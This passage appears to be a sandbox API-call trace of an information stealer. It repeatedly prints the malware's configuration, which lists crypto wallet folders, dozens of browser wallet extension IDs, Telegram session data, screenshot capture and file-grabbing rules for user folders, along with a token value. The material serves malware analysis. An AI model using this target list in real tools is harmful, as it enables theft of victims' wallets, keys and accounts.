Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.743] lstrlenW (lpString="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4289 [0259.743] lstrlenW (lpString="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4289 [0259.743] LocalAlloc (uFlags=0x40, uBytes=0x2182) returned 0x6b9720 [0259.744] lstrlenW (lpString="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4289 [0259.744] LocalAlloc (uFlags=0x40, uBytes=0x2182) returned 0x6bb8b0 [0259.744] lstrlenW (lpString="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension 